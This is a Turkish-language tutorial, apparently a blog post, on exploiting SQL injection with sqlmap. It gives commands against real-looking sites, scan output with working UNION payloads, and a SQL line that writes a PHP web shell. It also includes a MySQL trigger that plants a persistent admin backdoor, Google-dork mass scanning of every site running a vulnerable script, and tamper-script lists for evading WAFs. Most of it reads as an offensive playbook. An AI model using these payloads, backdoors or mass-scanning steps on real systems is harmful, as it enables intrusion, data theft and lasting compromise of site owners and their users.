SQLMap ve SQLi (SQL Injection)

sqlmap, veritabanı kullanan web uygulamalarındaki güvenlik açıklarını bulmaya çalışan yetenekli bir araçtır. sqlmap hatalı kodlanan SQL cümlelerini suilstimal (exploit) etmeye çalışarak güvenlik açıklarını tespit eder. sqlmap açık kaynak kodlu bir araçtır (tüm yetenekler için tıklayın). Araç, verilen URL üzerinde birçok türde SQL zafiyetini araştırarak veritabanı ve çalıştığı sistemi ele geçirmeye çalışır. Özetle güvenlik hassasiyeti dikkate alınmadan kodlanmış veya yapılandırılmış veritabanı sistemi kullanan uygulamalarda açık arayarak sistemi ele geçermenin yolunu bulmaya çalışır. Suistimal edebileceği bir enjeksiyon noktası bulduğunda veritabanı ve sunucu üzerindeki verilere erişmeyi dener. Bunlar kullanıcı bilgilerinin veya mesajlaşma kayıtlarının tutulduğu tablolar, kredi kartı ve diğer finansal bilgilerin tutulduğu hassas tablolar ve sunucunun dosya sisteminde kayıtlı diğer dosyalar olabilir.

sqlmap temel olarak SQL injection yani Türkçe adıyla SQL katıştırma saldırısı uygulayarak hedef sistemde bir güvenlik açığı bulmaya çalışır. Ana hedefi, çalıştırılan SQL sorguları içinde kullanıcı tarafından (client) gelen ve gerekli kontrolleri yapılmamış verileri değiştirerek SQL sorgu cümlelerini suistimal etmektir. Veritabanı sorgusuna (SQL) SQL injection (SQLi) uygulayarak dosya sistemini okuyabilir veya sunucuya dosya da kopyalayabilir. Bunu nasıl yaptığını kısaca açıklamak gerekirse şunları söyleyebilirim; çoğu veritabanı sistemi, SQL sorguları aracılığıyla dosya sistemine erişmek için (okuma/yazma) komutlara sahiptir. Örneğin aşağıdaki SQL (MySQL/MariaDB) cümlesi, bir veritabanındaki musteri tablosunun id, ad ve soyad alanlarındaki tüm verileri /temp/musteri_dump.txt dosyasına kaydetmektedir.

SELECT id, ad, soyad FROM musteri INTO OUTFILE '/temp/musteri_dump.txt';

Veritabanı sisteminin bu esnekliğini suistimal etmek için şöyle bir SQL kodu çalıştırılabilir:

union select “<? system($_REQUEST[‘cmd’]); ?>” INTO OUTFILE ‘/var/www/test/shell.php’

Yukarıdaki SQL cümlesi select’den sonra çift tırnaklar arasında belirtilen string ifadeyi /var/www/test/shell.php dosyasına kaydeder. Yani cmd parametresi ile aldığı komutları sunucu üzerinde çalıştıran ve çıktıyı döndüren bir script sunucuya kopyalanmış olur. String ifadeyi incelersek bu aslında bir PHP kodudur ve cmd parametresi ile gelen veriyi bir sistem komutu olarak çalıştırılmasını sağlar. Saldırgan bu dosyanın yolunu (URI) kullanarak web tarayıcısı ile sunucu üzerinde istediği komut çalıştırabilir. Bu sayede daha komplike araçları sunucuya yükleyerek içinde bulunduğu ağa da erişim sağlayabilir.

Dosya sisteminde yer alan bir dosyanın veritabanı sunucusunun SQL komutları kullanılarak nasıl okunabileceği ile ilgili örnek şöyledir:

INSERT INTO musteri (id, ad, soyad) VALUES (LOAD_FILE('/temp/musteri_dump.txt'));

Önemli not: sqlmap ile elde edilen bir açığı kullanarak sunucu üzerinde komut çalıştırmak (–os-cmd, –os-shell, –sql-shell) veya dosya sistemini üzerindeki bir dosyayı okumak/yazmak için (–file-read, –file-write) veritabanı sunucusunun (veritabanı prosesinin) yazma yetkisine sahip olduğu bir dizinin tam yoluna ihtiyaç vardır. sqlmap bazı ön tanımlı varsayılan dizinleri deneyebilir, bunlar genellikle yaygın kullanılan web yayın dizinleridir (örn: /var/www). sqlmap’in bu işlevlerinin çalışabilmesi için veritabanı sunucusu prosesinin yazma yetkisine sahip olduğu bir dizinin tam yoluna ve sorguyu çalıştıran veritabanı kullanıcısının dosya oluşturma (FILE priviledge) iznine ihtiyaç vardır. Diğer taraftan, genellikle bu tarz bir izne sahip olmadan da etkin veritabanı üzerinde SQL komutları çalıştırılabilir. sqlmap sistemi suistimal edecek bir açık bulabildiyse –sql-query seçeneği ile serbest şekilde SQL komutu çalıştırılabilir. Bunun için yazma yetkisine sahip olunan bir dizinin yolunu bilmeye gerek yoktur.

sqlmap’in tam destek verdiği veritabanı yönetim sistemleri şunlar: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso

sqlmap’in kontrol edebildiği güvenlik zafiyetleri (SQL injection teknikleri): boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band

sqlmap bulduğu açık üzerinden, MySQL, PostgreSQL ve Microsoft SQL Server veritabanı kullanan sistemlerin dosya sistemine erişebilir ve shell komutu çalıştırarak çıktısını döndürebilir. Dosya sistemi üzerindeki herhangi bir dosyayı indirebilir veya yükleyebilir. Bir açık bulduğunuzda, bu açığı web shell yüklemek için kullanarak sunucunun dosya sistemine daha geniş perspektifli bir erişim sağlayabilirsiniz. sqlmap bulduğu güvenlik açığını bir tcp bağlantısı kurarak bu bağlantıyı meterpreter’a veya VNC’ye bağlayabilir.

sqlmap’in kullanım parametrelerini ve seçeneklerini görmek için tıklayın.

Sqlmap ile basit bir tarama nasıl yapılır

Bir web servisini taramak için bol parametreli bir URL tespit ediyoruz (-u) ve bu parametrelerin hangilerinin açık aramak için kullanılacağını belirtiyoruz (-p).

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S' -p 'beden0'

Tarama sonucunda bir zafiyet tespit edilirse, araç aşağıdaki gibi ekran çıktısı verir ve tarama oturumuna ait veriyi kaydettiği dizinin yolunu görüntüler. Aynı URL’in tekrar taranması durumunda bu dizindeki verileri kullanacaktır.

[10:09:17] [INFO] resuming back-end DBMS 'mysql' [10:09:17] [INFO] testing connection to the target URLgot a 302 redirect to 'https://www.ozgesite.com/tr/kategori/40?beden0=M%7Ca%7C-L&beden1=XS-S'. Do you want to follow? [Y/n] you have not declared cookie(s), while server wants to set its own ('cross-site-cookie=bar;cross-site-cookie=bar;same-site-cookie=foo'). Do you want to use those [Y/n] sqlmap resumed the following injection point(s) from stored session:---Parameter: beden0 (GET)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)    Payload: beden0=M|a|-L')) OR NOT 3256=3256#&beden1=XS-S    Type: UNION query    Title: Generic UNION query (NULL) - 80 columns    Payload: beden0=M|a|-L')) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a7171,0x487743625956684c504c6a78424e4847576a416344586a54476e52527a6b56674664416d636b596d,0x7162786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&beden1=XS-S---[10:09:22] [INFO] the back-end DBMS: MySQL unknown (MariaDB fork)[*] ending @ 10:09:22 /2022-05-29/

Bu temel taramada sqlmap’in verdiği çıktıyı inceleyecek olursak veritabanının mysql olduğu ve beden0 adlı parametrenin blind-sql injection zafiyeti ile suistimal edildiği görülebilir. Yukarıdaki çıktıda payload URL’i de yer alıyor.

SQLi (SQL Injection) açığı bulunduktan sonra neler yapılabilir

Eğer sqlmap verilen adreste bir güvenlik açığı tespit etmiş ise bu açık üzerinden ilerlenebilir. Önce -dbs parametresini ekleyerek mevcut kullanıcının görebileceği veritabanlarını adlarını alalım.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile

Bu komut bize veritabanlarını listeleyecek. İki veritabanı listelendi: information ve ozgesite_bellek.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile -D 'ozgesite_bellek' -tables

Komutumuza bazı yeni parametreler ekledik. Bunların listesini sayfanın sonunda bulabilirsiniz. Özellikle –mobile parametresi önemli. Sitenin mobile için tasarlanmış bir başka versiyonu olabilir, genellikle css kodları değişse de kodlama ve SQL sorgularında da farklılıklar olabilir. Biz özellikle 302 ile redirect edilmemek ve mobile sürümde (www.m.ozgesite.com) kalmak için –mobile parametresini ekledik. Komutun sonunda kullandığımız -D (büyük D) ve -tables parametreleri ile tespit ettiğimiz veritabanına ait tabloları listeleyeceğiz. Komutumuzun çıktısında urunler adlı tablo geldi. Şimdi bu tablonun yapısını aşağıdaki komutla görüntüleyelim. -T parametresi ile urunler tablosunun adını belirtiyoruz.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile -D 'ozgesite_bellek' -T 'urunler' --columns

Enjeksiyon giriş noktası olarak POST isteklerini kullanmak

Eğer URL bir AJAX isteği için kullanılıyorsa ki bunun için genellikle POST metodu tercih edilir. Metodu ve açık aramak için kullanılacak parametreyi aşağıdaki gibi belirtebilirsiniz:

sqlmap -u 'https://www.alisverisitesi.com/satis/sepete_ekle_islem.asp' --data 'kitap_id=1' -p "kitap_id" --method=POST

Enjeksiyon giriş noktası olarak HTTP başlığı (header)’nı kullanmak

Programcılar genellikle kullanıcı girdisi olarak GET/POST/FILE gibi yollarla gelen verileri güvenilmez kabul eder ve kullanmadan önce güvenlik kontrollerini yapar. Halbuki istemci tarafından gelen cookie ve HTTP başlıkları gibi her tür veri işleme alınmadan önce gerekli güvenlik kontrolleri yapılmalıdır. Aşağıdaki komut HTTP header’ın parçası olan referer: verisini kullanarak bir tarama gerçekleştiriyor. Eğer bu komut başarılı şekilde suistimal edilebildiyse, muhtemelen programcı referer verisini filtreden geçirmeden bir SQL cümlesi içerisinde kullanmış demektir. Benzer şekilde; istemci taraftan gelen HTTP başlığında yer alan user-agent: verisi de SQL cümlesi içinde karşılaştırma yapmak için kullanılmış olabilir. Benzer bir diğer örnek de Host: satırıdır. Bu satır da bir saldırı için giriş noktası seçilebilir. –level değeri 5 olarak verilirse bu paragrafta sözü geçen tüm denemeler sqlmap tarafından yapılacaktır.

sqlmap -u 'https://siteadresi.gov.tr/sayfa_80.php' --header="referer:*" --level=3 

header parametresine geçtiğimiz referer:* bu başlık satırının SQL injection için sınanacağını söyler. Varsayılan olarak level=3 ve üzerindeki değerlerde referer: değeri bir saldırı giriş noktası olarak kullanılır.

Enjeksiyon giriş noktası olarak cookie’yi kullanmak

Cooki’ler (çerezler) web uygulamasının ihtiyaç duyduğu verileri sakladığı dosyalardır ve kullanıcının tarayıcısında depolanır. Cookie’ler alan adı ile ilişkili şekilde saklanır ve onu oluşturan web uygulamasının atadığı bir geçerlilik ömrüne sahipdir (örn.: 1saat, 10gün, 1ay vb). Kullanıcının web tarayıcısı alan adını ziyaret ettiğinde bu cookie içeriği HTTP istek başlığı içinde sunucuya gönderilir. Buraya kadar verdiğim bilgilerden güvenlik açısından çıkartılacak en önemli detay bu değerlerin kesinlinkle güvenilir olmadığıdır, çünkü kullanıcı tarafında tutulur ve uygun araçlar ile istenildiği gibi değiştirilebilir. Bir web uygulamasının kritik bilgileri burada tutmaması ve buradan gelen verileri güvenilmez olarak kabul etmesi ve gerekli filtrasyonları uygulaması gerekir. Aşağıdaki örnekte bir cookie değişkeninin iki farklı sqlmap yöntemiyle nasıl taranabileceğini gösterdim.

sqlmap -u "https://site.com/" --cookie='degisken1=deger1; degisken2=deger2' -p degisken1 --level=2

Cookie taramaları için -u, –cookie, -p ve –level asgari parameterelerdir ve –level değeri cookie taraması için en az 2 olmalıdır. Aynı komutun bir başka kullanım şekli de aşağıdaki gibi -p ile taranacak değişkeni belirmek yerine * karakteri ile kontrol edilecek cookie değerini belirtebiliriz.

sqlmap -u "https://site.com/" --cookie='degisken1=*; degisken2=deger2' --level=2

Aşağıdaki örnekte dil tercih seçenekleri olan bir web sitesi kullanıcının dil tercihini tuttuğu setLANGUAGE adlı bir cookie değişkenine sahip. sqlmap ile diğer cookie değerlerini de ekleyip setLANGUAGE üzerinde bir tarama gerçekleştiriyoruz. Eğer sqlmap burada bir zafiyet bulursa bu değişkenin hiç filtrelenmeden doğrudan bir SQL cümlesi içinde kullanıldığını anlayabiliriz. Aşağıdaki örnekte birçok cookie değerini kullandığımı görebilirsiniz. Bunu yapmamızın nedeni sunucudaki web uygulamasına mümkün olduğunca doğal gözükmek, uygulamanın mantıksal çalışamasını ve nasıl kodlandığını bilmediğimiz için burpsuite ile doğal bir request’ın içeriğini elde edip kullandık.

sqlmap -u 'https://www.testsite.com/tr/' --random-agent --cookie='encodedUserInfo=bnVsbA==; device=0; 55001101UID=1650272840127-4980-469-97013-4955; stayedUR=Cache; setCOUNTRY=TR; setLANGUAGE=*; setCURRENCY=TL; setCURR=1; setDIFFERENCE=1; setCacheComplete=1; userBagTimeClear=1; userBagTime=1' -p 'setLANGUAGE' -dbs --ignore-code=404 --method=POST --header='Referer: https://www.google.com/search?hl=en&q=testing' --level=2 -batch --fresh-queries --flush-session --threads=10 --risk=3

Bu örnekte simüle etmeye çalıştığımız isteği sunucu tarafında karşılayan kod POST isteklerini dikkate alıyor. Bu bir AJAX isteği aslında. referer değeri ile gerçek bir isteği simüle etmeye çalıştık. Bu komutla SQLmap risk=3 düzeyi vererek, update/insert/delete SQL’lerinin denenmesine izin verdik.

Enjeksiyon giriş noktası olarak URL_REWRITING dizinleri kullanmak

Günümüzde çoğu web sitesi SEO amaçlı url_rewriting kullanmakta. Yani scripte geçirilen GET parametreleri bir URI içinde dizinmiş gibi belirtilmekte. Örneğin normalde site.com/urunler.aspx?tur=ceket&model=klasik şeklindeki bir URL şu şekilde yeniden oluşturulmaktadır: site.com/urunler/ceket/klasik

Bu yazım şekli arama motorlarının daha çok hoşuna gider. Ancak sqlmap bu tür url_rewriting kullanımlarını tespit edemez ya da bir injeksiyon giriş noktası bulmak için uğraşmaz. Bu tür URI’lerin manuel olarak belirtilmesi gerekir. Aşağıdaki kullanımda sqlmap * karakteri koyulan her alan için enjeksiyon denemesi yapacaktır.

sqlmap -u 'site.com/urunler*/ceket*/klasik*

Veritabanına kalıcı arka kapı yerleştirmek

Giriş bölümünde bahsettiğim gibi; sqlmap ile –os-cmd ve –os-shell seçenekleri ile sunucu üzerinde sistem komutlarını çalıştırabiliyorduk. Diğer taraftan –file-write ile dosya sistemine bir dosya upload etmemiz mümkündü. Tespit edilen zafiyetin giderilmesinin ardından sqlmap veya sqlmap aracılığı ile dosya sistemine bırakılan arka kapılar erişilmez olabilir. Bunu tahmin eden bir saldırgan sisteme sonradan da erişebilmek için veritabanı sistemlerinin dahili özellikleri olan stored procedure’lar veya trigger’lar ile kalıcı arka kapılar yaratabilirler. Aşağıdaki trigger kodu MySQL için geçerlidir ve yonetici_yap adında bir tetikleyici tanımlamaktadır.

CREATE trigger yonetici_yap after insert on kullanicilar for each rowbeginupdate kullanicilar set yetki='yonetici' where adsoyad='ImBackd00r';end

Yukarıdaki MySQL tetikleyicisi kullanıcılar tablosuna yeni bir kayıt eklendiğinde otomatik olarak çalıştırılır. Otomatik olarak çalıştırılan SQL koduna bakacak olursak, saldırganın siteye yeni bir üyelik açarak anında yönetici yetkisine (yetki=’yonetici’) sahip olduğu görülür. Bunun için üye olurken Ad Soyad alanına ‘ImBackd00r’ ifadesini kaydetmesi yeterlidir. Bu arka kapı tekniğinden etkilenmemek için veritabanı sistemi dikkatlice incelenmeli veya varsa güvenlik bir yedekten geri dönülmelidir.

HTTP user-agent başlığı

–user-agent : sqlmap isteklerini yaparken sunucuya kendini hangi tarayıcı olarak tanıtacağını belirtir. Varsayılan değeri “sqlmap/1.0-dev”‘dir.

–random-agent : Bu seçenek kullanılmadığında sqlmap’in varsayılan agent string’i “sqlmap/1.0-dev” dir. Eğer kısa sürede timeout hatası alıyorsanız tarama yaptığınız web uygulamasının WAF (Web Application Firewall)’una veya IPS (Intrusion Prevention System)’ine yakalanmış olabilirsiniz. Bu seçenek WAF/IPS’i atlatmak için rasgele bir web browser agent seçer ve oturum içinde daima onu kullanarak istek yapar. Örneğin firefox,chrome,safari vb. Varsayılan agent “sqlmap/x.x.x#stable (https://sqlmap.org)” ‘dır.

–mobile : Web uygulamasına yapılan testlerin bir mobil tarayıcıdan (Android/IPhone) geliyormuş gibi taklit edilmesini sağlar. Bazı web uygulamaları tarayıcı türüne göre farklı davranış gösterebilir. Örneğin günümüzde birçok site daha iyi kullanıcı deneyimi sağlamak amacıyla mobil aygıtlar için farklı sürümler barındırır. Bu anlamda taraması yapılan web uygulaması tarafından uygun User-Agent’a sahip olunmadığı için taramasını yapmak istediğimiz web uygulamasının farklı bir sürümüne yönlendirebiliriz.Bu parametreyle sqlmap testlerini yaparken kendimizi bir mobil client olarak tanıtıyoruz.

Çok sayıda başarısız istekten sonra oturumunuzun yok edilmesini önleyin

Bazen web uygulamalarının mantıksal davranışı, belirli sayıda başarısız istek gerçekleştirildiğinde oturumu yok etme eğiliminde olabilir. Bu sorun sqlmap’in algılama aşamasında veya kör SQL enjeksiyon (blind SQLi) türlerinden birini test ettiği sırada çok sayıda deneme yapmasından dolayı da ortaya çıkabilir. Hedef tarafından belirlenen bu sınırlamayı kaldırmak ve oturumun web uygulaması nazarında yeniden yetkilenebilmesi için aşağıdaki seçenekleri kullanabilirsiniz. Seçeneklerin amacı tarama oturumu sırasında web uygulamasının olağan (güvenli) sayfalarından birine istek yaparak geçerli bir oturum/cookie sepeti ile güncellenmektir. Başka bir ifade ile; yapılan isteklerin insan bir kullanıcı tarafından geldiği yönünde aldatmaktır.

–safe-url : Test sırasında ziyaret edilecek güvenli URL adresi.
–safe-post : Belirli bir güvenli URL adresine gönderilecek POST verisi oturumun yeninden oluşturulmasını sağlayabilir.
–safe-req : Test sırasında ziyaret edilecek URL’lerin bir dosyadan okunmasını sağlar.
–safe-freq : Belirli bir güvenli konuma yapılan iki ziyaret arasında yapılacak test sayısı.

HTTP cookie başlığı

Web uygulamasının kimlik doğrulaması gerektiren bir bölümünü taramak gerektiğinde sqlmap istekleriyle birlikte tanımlama bilgilerini de gönderme gereksinimini ortaya çıkar. Örneğin bir sitede oturum açtıktan sonra sitenin farklı sayfalarına erişiminiz olur. Tanımlama bilgilerini elde etmek için tarayıcının dahili networking sekmesini kullanabilir veya bir proxy tanımlayarak cookie verisini elde edebilirsiniz. Elde ettiğiniz bu değeri –cookie seçeneği ile sqlmap’e verebilirsiniz. Birden fazla cookie değeri varsa aralarına ‘;’ (noktalı virgül) koyarak onları birbirinden ayırın. Eğer değişken/değer çiftlerini birbirinden ayırmak için ‘;’ den farklı bir karakter kullanılıyorsa bu ayracı (delimiter) –cookie-del seçeneği ile belirtebililrsiniz. İletişim sırasında herhangi bir zamanda web uygulaması Set-Cookie başlıklarıyla yanıt verirse, sqlmap yeni değişken/değer çiftlerini diğer tüm HTTP isteklerinde Cookie başlığı olarak otomatik olarak kullanır. sqlmap ayrıca SQL enjeksiyonu için bu değerleri otomatik olarak test edecektir. Bu, –drop-set-cookie – sqlmap anahtarı ile önlenebilir, yani gelen Set-Cookie üstbilgilerini yok sayar.

Diğer taraftan, –cookie seçeneğiyle bir HTTP Cookie başlığı sağlarsanız ve hedef URL herhangi bir zamanda bir HTTP Set-Cookie başlığı gönderirse, sqlmap size takip eden HTTP istekleri için hangi tanımlama bilgilerinin kullanılacağını soracaktır. –live-cookies seçeneği güncel değerlerin yüklenmesi için kullanılacak bir çerez dosyası sağlamak için kullanılabilir. Bu, HTTP Cookie başlığı için en son değeri almak için her istekten önce aynı dosyanın okunacağı anlamına gelir. Ayrıca, Netscape/wget biçimli tanımlama bilgilerini içeren özel bir dosya sağlamak için kullanılabilecek –load-cookies seçeneği de vardır. –level 2 veya üzerine ayarlanmışsa, HTTP Cookie başlığının da SQL enjeksiyonuna karşı test edildiğini unutmayın.

–cookie : Test edilecek web uygulaması istemci tarafında depolanan çerezleri kullanıyor olabilir. Çerezler web uygulamasının tercihine bağlı olarak birçok türde veriyi tutuyor olabilir. Özellikle oturum açmayı gerektiren web uygulamalarında ihtiyaç duyulan oturum bilgisi önceden öğrenilerek sqlmap’in oturum içi tarama yapması sağlanabilir. Örneğin: –cookie=’PHPSESSIONID=ajksdgadhakjsdhak’ Cookie değerleri –level=2 ve üzerinde test edilir.

–cookie-del : Cookie degisken/değer çiftlerini birbirinden ayırmak için kullanılacak ayraç karakterini tanımlar.

–live-cookies :Güncel değerlerin yüklenmesi için kullanılacak bir çerez dosyası sağlamak için kullanılabilir. Bu, HTTP Cookie başlığı için en son değeri almak için her istekten önce aynı dosyanın okunacağı anlamına gelir.

–load-cookies : Netscape/wget biçimli tanımlama bilgilerini içeren özel bir dosya sağlamak için kullanılır.

–drop-set-cookie : İletişim sırasında herhangi bir zamanda web uygulaması Set-Cookie başlıklarıyla yanıt verirse, sqlmap diğer tüm HTTP isteklerinde set edilen yeni Cookie değerlerini otomatik olarak kullanır. sqlmap ayrıca SQL enjeksiyonu için bu değerleri otomatik olarak test edecektir. Bu, –drop-set-cookie – sqlmap anahtarını sağlayarak önlenebilir, gelen herhangi bir Set-Cookie başlığını yok sayar.

Taze sorguları etkinleştirin ve önbellekten kurtulun

sqlmap başarıyla sonuçlandırdığı tüm atak vektörlerinin sonuçlarını yerel dizinde depolar ve aynı sorgular için hedef sunucuya yeniden istekte bulunmaz. Bunun iyi yanı sunucuda trafik/yük oluşturmaması ve sonuçların hızlıca önbellekten gelmesi olarak sayılabilir.

Kötü yanı ise örneğin –sql-query veya –sql-shell ile çalıştırdığınız select’ler güncel sonuçları içermeyecektir. Diyelimki –sql-shell ile bir oturum açtınınz ve insert/update işlemi yaptınız ve bunu teyit etmek istiyorsunuz. Eğer daha önceden çalıştırdığınız bir select ifadesi ile teyit etmeye çalışırsanız sonuç önbellekten getirilecek ve aslında kayıt inser/update olduğu halde siz güncel sonuçları göremeyeceksiniz. Benzer durum –sql-query için de geçerli. Bunun için sqlmap’e –fresh-query anahtarını ekleyerek her seferinde hedef sisteme güncel sorgular çalıştırılmasını söyleyebilirsiniz.

sqlmap’in yetersiz olduğu noktalar

SQLmap enjeksiyon giriş noktaları verildiğinde olası tüm SQLi tekniklerini uygulayarak başarı sonuçlar almak mümkün. Enjeksiyon giriş noktalarını tespit etmek için –crawl seçeneği bulunsa da bu seçenek javascript üzerinden dinamik olarak yaratılan istekleri ve bu istekleri oluşturan verilerin yuvalandığı sunucu patikalarını tespit etmekde pek başarılı değildir. sqlmap’e –crawl ile birlikte –forms parametresi geçirilirse, DOM ağacı içindeki formları tespit ederek, formdaki input’ları enjeksiyon giriş noktası olarak kullanabilir. Bunun dışında sqlmap’in SQLi denemesini yapacağı adreslerin manual olarak tespit edilmesi gerekir ki özellikle sonraki paragrafta açıklayacağım sorundan dolayı bu penatrasyon uzmanının deneyimine ve sezgilerine bağlıdır. Web uygulamasının mantıksal çalışmasının sınanması ve potansiyel güvenlik hatalarının bulunması için biraz el mahareti gerekir. Bunun için burp suite programı çok tercih edilen araçlardan biridir. Burp suite request’ların izlenmesi ve modifiye edilmesi noktasında kolaylık sağlar fakat iş tamamen penatrasyon uzmanının yeteneğine bağlıdır. Burp suite transaction’ların URL ve request header olarak dışarı export edebilir ve sqlmap’in kullanımına sunabilir.

sqlmap penatrasyon uzmanının başlangıçtaki işini kolaylaştırdığı açıktır, lakin özellikle blind-sqli açıklarında manuel keşfe gerek duyulabilir. Birden fazla where şartının yer aldığı blind tür enjeksiyonlarda diğer kontrol şartlarının durumu tam olarak kontrol edilemediği için sqlmap burada zayıf kalabilir. Penatrasyon uzmanı tarafından uygulamanın mantıksal çalışmasının analiz edilmesi, sqli bulunduğundan emin olunan giriş noktasının exploit edilmesi için uzmanın dikkati ve manuel girişimleri önem arz eder. Sonuçta sqlmap otomatize bir araçtır ve saldırı vektörlerini belli bir seviyeye kadar otomatize edebilir. Özellikle tam bir suistimale izin veren saldırı vektörlerinin uygun kondisyona getirilmesi doğrudan uygulamanın lojik durumuyla ilgili olduğundan sqlmap mevcut kütüphanesindeki vektörleri diğer kullanıcı giriş noktaları ile sonuç verecek şekilde başarıyla kombine edemeyebilir. Örneğin blind-sqli’nin yer aldığı aşağıdaki SQL cümlesini inceleyelim

"SELECT * FROM otel_fiyat WHERE otel_id=$otelid and otel_tarih_id=$tarih and otel_konaklama_id=$konaklama"

Google Dork ile tarama yapmak

sqlmap’in dork özelliğini kavradıktan sonra gerçekten çok tehlikeli ve etkili olabileceğini farkedeceksiniz. -g parametresi google üzerinden bir dork araması yaparak bulduğu URL’ler üzerinde SQLi keşifleri yapar. Örneğin dork olarak “inurl:category.php?id=” ifadesini kullanırsak google bize URL adresi içinde “category.php?id=” ifadesi olan web sitelerinin adreslerini döndürür.

Hedefe yönelik veya saldırı yüzeyini genişletecek şekilde nasıl kullanabiliriz diye düşünecek olursak. Örneğin bir web tasarım şirketi veya programcı tarafından kodlanmış ve birçok sitede (yüzlerce ve binlerce sitede) kullanılan bir script söz konusu olsun. Eğer bu script’in adres parametresinde ayırt edici bir özellik tespit edebilirsek, boom! Bu dork’u kullanarak geliştiricinin kodladığı tüm siteleri tek bir komut ile taramak mümkün.

Örneğin web geliştiricisi SQLi güvenlik açığı bulunan uygulamasında şöyle bir URI’a sahip olsun:

super_listele.php?kateg_no=12

Milyonlarca Google indeksi içerisinde bu URI’ın ayırt edici özellikleri tahmin edebileceğiniz gibi script dosyasının adı olan super_listele.php ve GET parametresi kateg_no‘dur. Çok fazla kullanılma ihtimali olmayan isimlendirmeler olduğu için google dork kullanılarak bu script’e nokta atışı yapılabilir. sqlmap’e aşağıdaki dork’u vererek bu scriptleri tek bir komutla topyekün tarayıp SQLi açıklarını tespit edebiliriz:

sqlmap -g 'inurl:super_listele.php?kateg_no=' --dbs

Buna benzer yaygın bazı google dork’ların listesine şuradan erişebilirsiniz. Ayrıca google dork aramak için oluşturulmuş dorksearch.com‘a bakabilirsiniz.

Tabi bu listeler herkesin elinin altında olan jenerik sayılabilecek listeler ve muhtemelen birçok güvenlik araştırmacısı tarafından taranmış veya taranıyor.

Google dork’lar inurl operatörü ile sınırlı değil. Listede görebileceğiniz gibi bir script’i hedeflemek için kullanabileceğiniz intext, ext ve intitle gibi başka operatörler de var.

-g seçeneği varsayılan olarak birinci sayfadan itibaren ilk 100 arama sonucunu tarar. Taramayı diğer google sonuçlarını kullanarak gerçekleştirmek için -gpage parametresinden faydalanabilirsiniz. Bu parametre ile sonuçların kaçıncı sayfadan alınacağı belirtilir. Örneğin:

sqlmap -g 'inurl:super_listele.php?kateg_no=' -gpage 5

Tamper Script’lerini kullanmak

sqlmap otomatik olarak başlangıç isteklerinden birine şüpheli bir SQLi kodu ekler. WAF’lere rahatlıkla takılabilecek bir kod (örn. …&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1). Eğer hedef bu şüpheli isteğe orjinal istekten farklı bir yanıt verirse sunucunun bir tür koruma altında olduğundan bahsedebiliriz.

sqlmap’in eski sürümlerinde –identify-waf anahtarı vardı ve şüphelendiğiniz web uygulamalarını WAF’a karşı taratabiliyordunuz. Artık bu özellik varsayılan oldu. sqlmap tarama oturumu başlangıcında backed’de bir WAF veya IPS koruması varmı kontrol ediyor ve eğer yapabilirse WAF/IPS ürününün türünü söylüyor. Bu durumda WAF/IPS’in türüne göre tamper scriptlerini kullanmayı düşünebilirsiniz. sqlmap 80’den fazla WAF ürününü tespit edebilir. WAF’lar ile ilgili kontrollerin yapılmasını istemiyorsanız –skip-waf anahtarını kullanabilirsiniz.

whatweb veya sqlmap ile WAF’ı teşhis ettikten sonra DBMS’den bağımsız olarak aşağıdaki genel amaçlı script kombinasyonunu kullanabilirsiniz:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL DBMS’ler için şu tamper script kombinasyonunu kullanabilirsiniz:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL veya MariaDB DBMS’ler için şu tamper script kombinasyonunu kullanabilirsiniz:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Tamper script’lerin kullanılabileceği platformların listesini ve script’lerin yaptığı işi buradan görebilirsiniz.

Kaynaklar:

SQLMap kullanımı: https://github.com/sqlmapproject/sqlmap/wiki/Usage

SQLMap özellikleri: https://github.com/sqlmapproject/sqlmap/wiki/Features

